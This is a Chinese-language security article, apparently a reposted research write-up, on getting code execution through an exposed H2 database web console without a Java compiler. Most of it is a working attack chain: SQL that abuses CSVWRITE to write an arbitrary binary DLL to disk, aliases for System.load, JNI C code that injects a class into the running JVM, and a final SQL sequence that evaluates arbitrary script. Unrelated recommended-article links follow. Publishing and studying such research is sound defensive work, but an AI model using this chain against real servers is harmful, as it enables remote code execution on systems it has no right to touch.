java 清空控制台_利用原生库和JNI(Java原生接口)实现H2数据库漏洞利用
在H2数据库引擎中获取代码执行权限的技术早已是众所周知,但有个要求就是H2能够动态编译Java代码。而本文将向大家展示以前没有公开过的利用H2的方法,并且无需使用Java编译器,即通过原生库和JNI(Java原生接口)实现H2数据库漏洞的利用 。
介绍
上周,Doyensec的Andrea Brancaleoni发表了一篇关于jackson gadgets-漏洞剖析的博文。它描述了如果Logback和H2数据库引擎库可用,如何利用Jackson库中基于setter的漏洞。简而言之,就是利用H2的特性,使用Java代码 创建用户定义的函数,并使用Java编译器动态编译这些函数。
但如果Java编译器不可用呢?这是在最近的一次参与中遇到的情况,Windows系统上的H2数据库引擎实例版本1.2.141公开了其Web控制台。我们希望通过使用原生库(.dll或.so)和Java原生接口(JNI),找到一种新的方法来执行任意Java代码,而无需在目标服务器上使用Java编译器。
H2 能力评估
假设我们不能使用CREATE ALIAS … AS … 命令,因为Java编译器不可用。原因可能是它不是Java Development Kit(JDK)而是Java Runtime Environment(JRE),因此没有编译器。或是由于未正确设置PATH环境变量,导致无法找到Java编译器javac。
但是,CREATE ALIAS … FOR … 命令可以使用:
当引用一个方法时,类必须已经被编译并包含在运行数据库的类路径中。仅支持静态Java方法;类和方法都必须是公共的。
因此各个公共静态方法都可以使用。最坏的情况是,只有h2-1.2.141.jar和JRE可用。此外,只有受支持的数据类型可用于嵌套函数调用。
在Java运行时库rt.jar中浏览candidates时,我们发现System.load(String)方法允许加载原生库。这意味着我们可以通过库的入口点函数来执行代码。
但如何将库加载到H2服务器上呢?虽然Windows上的Java支持UNC路径并提取文件,但其拒绝实际加载它。而且这在Linux上也不起作用。那么,如何将文件写入H2服务器呢?
使用 H2 写入任意文件
在查看和研究了一些H2函数后,我们发现了一个FILE_WRITE文件写入函数。不幸的是,FILE_WRITE是在1.4.190中引入的。而我们需要的是在1.2.141中可用的函数。最终我们找到了一个名为CSVWRITE的函数,这也是唯一一个名称中带“ write”的函数。
快速测试显示了CSV列标头也被打印了出来。查看CSV选项,可以看到有一个writeColumnHeader选项可用于禁用写入列标头。不幸的是,writeColumnHeader选项仅被添加在了1.3/1.4.177上。
但是在查看其他受支持的选项fieldSeparator,fieldDelimiter,escape,null和lineSeparator时,我蹦出了一个想法:如果我们将它们全部清空,并使用CSV列标头写入我们的数据,会怎样?如果H2数据库引擎允许列具有任意长度的任意名称,那么我们就能够写入任意数据。
查看H2的列语法,列的columnName可以是带引号的名称,定义如下:
“ anything ”
带引号的名称区分大小写,并且可以包含空格。没有最大名称长度。两个双引号可用于在标识符内创建一个单双引号。
这听起来很完美。让我们看看我们是否可以在其中放入任意内容,以及CSVWRITE是否具有二进制安全机制。
首先,让我们生成涵盖所有8-bit octet的测试数据:
$ python -c 'import sys;[sys.stdout.write(chr(i)) for i in range(0,256)]' > test.bin
$ sha1sum test.bin
4916d6bdb7f78e6803698cab32d1586ea457dfc8 test.bin
现在我们生成一系列CHAR(n)函数调用,它们将在SQL查询中生成我们的二进制数据:
xxd -p -c 256 test.bin | sed -e 's/../),CHAR(0x&/g' -e 's/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g'
然后,我们在以下CSVWRITE调用中使用它:
SELECT CSVWRITE('C:\Windows\Temp\test.bin', CONCAT('SELECT NULL "', … , '"'), 'ISO-8859-1', '', '', '', '', '');
最后,我们测试写入的文件是否具有相同的校验和:
C:\Windows\Temp> certutil -hashfile test.bin SHA1
SHA1 hash of file test.bin:
49 16 d6 bd b7 f7 8e 68 03 69 8c ab 32 d1 58 6e a4 57 df c8
CertUtil: -hashfile command completed successfully.
可以看到,文件应该是相同的!
进入原生世界
既然我们可以使用内置函数CSVWRITE,将原生库写入磁盘并通过为System.load(String)创建别名来加载它,我们就可以使用库的入口点来实现代码执行。
让我们更进一步,看看是否有办法从SQL执行任意命令/代码。
Java Native Interface(JNI)允许原生代码和Java虚拟机(JVM)之间的交互。因此,在这种情况下,它将允许我们与运行H2数据库的JVM进行交互。
现在,我的想法是使用JNI通过ClassLoader.defineClass(byte[], int, int)将自定义Java类注入到运行的JVM中。这将允许我们创建一个别名并从SQL调用它。
使用 JNI 调用 JVM
首先,我们需要获得正在运行的JVM的句柄。这可以通过JNI_GetCreatedJavaVMs函数来完成。然后,将当前线程附加到VM,并获得JNI接口指针(JNIEnv)。使用该指针,我们可以与JVM交互并调用JNI函数,例如FindClass, GetStaticMethodID/GetMethodID> 和 CallStaticMethod/CallMethod。计划是通过ClassLoader.getSystemClassLoader()获取系统类加载器并调用defineClass:
// xxd -p -c 10000 bin/JNIScriptEngine.class | sed -e 's/../0x&,/g' -e 's/^/char buf[] = {/' -e 's/,$/};/'
// public static JNIScriptEngine.eval(String js) : String
char buf[] = { /* ... */ };
size_t bufLen = sizeof(buf);
jbyteArray jData = (*g_env)->NewByteArray(g_env, bufLen);
(*g_env)->SetByteArrayRegion(g_env, jData, 0, bufLen, (jbyte*)buf);
JNIEnv * g_env;
JavaVM* g_vm;
jsize num_vms = 0;
jint result = JNI_GetCreatedJavaVMs(&g_vm, 1, &num_vms);
int getEnvStat = (*g_vm)->GetEnv(g_vm, (void **)&g_env, JNI_VERSION_1_6);
if (getEnvStat == JNI_EDETACHED) {
// printf("GetEnv: not attached\n");
if ((*g_vm)->AttachCurrentThread(g_vm, (void **) &g_env, NULL) != 0) {
// printf("Failed to attach\n");
}
} else if (getEnvStat == JNI_OK) {
// printf("GetEnv: everything's fine\n");
} else if (getEnvStat == JNI_EVERSION) {
// printf("GetEnv: version not supported\n");
}
jclass cls;
jmethodID meth;
jobject obj;
cls = (*g_env)->FindClass(g_env, "java/lang/ClassLoader");
// static java.lang.ClassLoader.getSystemClassLoader() : java.lang.ClassLoader
meth = (*g_env)->GetStaticMethodID(g_env, cls, "getSystemClassLoader", "()Ljava/lang/ClassLoader;");
jobject systemClassLoader = (*g_env)->CallStaticObjectMethod(g_env, cls, meth);
// java.lang.ClassLoader.defineClass(byte[], int, int) : java.lang.Class
meth = (*g_env)->GetMethodID(g_env, cls, "defineClass", "([BII)Ljava/lang/Class;");
jobject loadedClass = (*g_env)->CallObjectMethod(g_env, systemClassLoader, meth, jData, 0, (jint)bufLen);
(*g_env)->DeleteLocalRef(g_env, jData);
(*g_vm)->DetachCurrentThread(g_vm);
这基本上是模仿了以下Java代码:
Class cls = Class.forName("java.lang.ClassLoader");
Method meth = cls.getDeclaredMethod("getSystemClassLoader", new Class[0]);
Object systemClassLoader = meth.invoke(null, new Object[0]);
meth = cls.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
meth.setAccessible(true);
meth.invoke(systemClassLoader, new Object[] { jData, 0, jData.length });
自定义Java类JNIScriptEngine只有一个公共静态方法,它使用可用的ScriptEngine实例评估传递的脚本:
public class JNIScriptEngine {
public static String eval(String script) throws Exception {
return new javax.script.ScriptEngineManager().getEngineFactories().get(0).getScriptEngine().eval(script).toString();
}
}
最终,整合在一起的代码如下:
-- write native library
SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', ... , '"'), 'ISO-8859-1', '', '', '', '', '');
-- load native library
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');
-- evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('7*191');
这样我们就可以从SQL执行任意的JavaScript代码了。
*参考来源:codewhitesec,FB小编secist编译,转载请注明来自FreeBuf.COM
精彩推荐
java 清空控制台_利用原生库和JNI(Java原生接口)实现H2数据库漏洞利用相关推荐
- java gui 控制台_在GUI面板中创建Java控制台
这是一个功能强大的课程.您可以将此实例安装到系统中并使用以下错误: PrintStream con=new PrintStream(new TextAreaOutputStream(...)); Sy ...
- java毕业设计软考在线题库系统mybatis+源码+调试部署+系统+数据库+lw
java毕业设计软考在线题库系统mybatis+源码+调试部署+系统+数据库+lw java毕业设计软考在线题库系统mybatis+源码+调试部署+系统+数据库+lw 本源码技术栈: 项目架构:B/S ...
- java spi 扩展_【扩展和解耦】JAVA原生SPI实现插件扩展
Java极客 | 作者 / 铿然一叶 这是Java极客的第 81 篇原创文章 相关阅读: 1. 什么是插件 通俗的讲插件有以下特征: 1.增加或者替换已有能力 2.不影响原有功能 3.对原有系 ...
- java 底层运行_从表面到底层丨Java和JVM的运行原理,现在带给你
Java,编程语言,被创造于90年代初,在经历了这么多年的风风雨雨,Java已经成长为世界第一的编程语言,根据往期以及目前的数据来看,Java的使用频率为全球第一,即使偶尔会有第二第三的情况,但是这依 ...
- eclipse java工程目录_转载:Eclipse下的java工程目录
对新手来讲,一个Java工程内部的多个文件夹经常会让大家困惑.更可恶的是莫名其妙的路径问题,在Eclipse编写Java程序中,出现频率最高的错误很可能就是路径问题. 这些问题原因其实都是一个,就是关 ...
- ubuntu java classpath 设置_在Ubuntu中正确设置java classpath和java_home
我有错误 Exception in thread"main" java.lang.NoClassDefFoundError: 当我尝试在Ubuntu上运行编译类时.我使用的是一个非 ...
- python还是java好找工作_你觉得学 Python 还是 Java 更好找工作?
java是一门资深的编程语言,也是普及率比较高的一门语言,有着非常丰富的第三方库,在市场上的需求量也是非常高的,可以从事web开发.网络开发以及app开发等工作,这些都是通过java来实现的,也是一种 ...
- java算术表达式_一文了解如何用 Java 进行算术表达式计算
(给ImportNew加星标,提高Java技能) 编译:ImportNew/唐尤华 如何用Java计算"5+3"."10-40"."10*3" ...
- Java并发插件_五分钟,轻松掌握Java并发编程!
Java作为最流行的编程语言之一,随着 Java 8的到来,越来越多的人开始学习,并深入研究!下面将介绍 Java并发编程,让开发者在最短的时间里掌握并发编程. 1. 并发 1.1. 什么是并发? 并 ...
最新文章
- php 如何让图片循环显示图片,[宜配屋]听图阁
- 35+的互联网人都哪去了
- android短信安全,[原创]分析了一款android短信木马
- 可支持任意级选择器级联的控件函数
- 【Android图像处理】图像处理之-素描效果
- Atitit Mysql查询优化器 存取类型 范围存取类型 索引存取类型 AND or的分析
- dedecms仿包图网站素材图片下载站网站源码在线付费+会员系统+积分系统
- 如何删除Mac电脑中的第三方字体?
- 职业学校计算机教学总结报告,中职计算机教师教学工作总结(共6篇) .docx
- 【Go语言】深入浅出chan(各种实例场景+分析)
- windows10桌面_三大虚拟桌面软件对比,总有一款适合你!
- linux启动过程文件系统崩溃,Linux启动过程中文件系统的加载
- LeeCode1468. 计算税后工资
- 双语不用教 下载地址!!!
- 专题-参数方程与极坐标
- HtmlUnit入门教程
- 提升网站黏着度的技术手段其实跟“搞对象”完全一样,也有“潜规则”
- 雷达导论PART IV.1 多普勒效应
- 如何实现短信的发送,配置-----容联云(测试)
- 记忆化结果再利用 进一步探讨递推关系
热门文章
- SSM框架整合(Spring+SpringMVC+MyBatis)
- 通俗理解tf.name_scope()、tf.variable_scope()
- 行人检测与重识别!SOTA算法
- [JS]题解 | #魔法数字#
- ProgreassBar 60秒走完,
- Spanned.SPAN_EXCLUSIVE_EXCLUSIVE的含义
- JS中的7种设计模式
- 2018HDU多校训练-3-Problem G. Interstellar Travel
- 使用spring initializr ( 4.快速创建springboot工程 )(入门结束)
- A. 位运算符的应用---管理一组事务的开关状态